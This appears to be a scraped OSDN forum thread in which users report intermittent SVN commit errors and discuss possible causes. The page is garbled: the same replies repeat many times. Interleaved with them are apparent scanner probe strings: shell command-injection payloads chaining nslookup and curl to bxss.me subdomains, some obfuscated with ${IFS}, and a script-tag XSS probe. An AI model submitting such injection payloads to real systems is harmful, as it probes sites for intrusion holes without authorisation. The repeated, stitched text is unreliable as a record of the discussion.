https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
xfs.bxss.me
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
|(nslookup -q=cname hitglwsueygef566f8.bxss.me||curl hitglwsueygef566f8.bxss.me)
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
|(nslookup${IFS}-q${IFS}cname${IFS}hitszuwrywvly18514.bxss.me||curl${IFS}hitszuwrywvly18514.bxss.me)
&(nslookup${IFS}-q${IFS}cname${IFS}hitkesecujovx994ea.bxss.me||curl${IFS}hitkesecujovx994ea.bxss.me)&'\"0&(nslookup${IFS}-q${IFS}cname${IFS}hitkesecujovx994ea.bxss.me||curl${IFS}hitkesecujovx994ea.bxss.me)&'
'"
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/'"()&%<zzz><ScRiPt >vUlc(9356)</ScRiPt>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
;(nslookup -q=cname hitqovruirrur62708.bxss.me||curl hitqovruirrur62708.bxss.me)|(nslookup -q=cname hitqovruirrur62708.bxss.me||curl hitqovruirrur62708.bxss.me)&(nslookup -q=cname hitqovruirrur62708.bxss.me||curl hitqovruirrur62708.bxss.me)
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
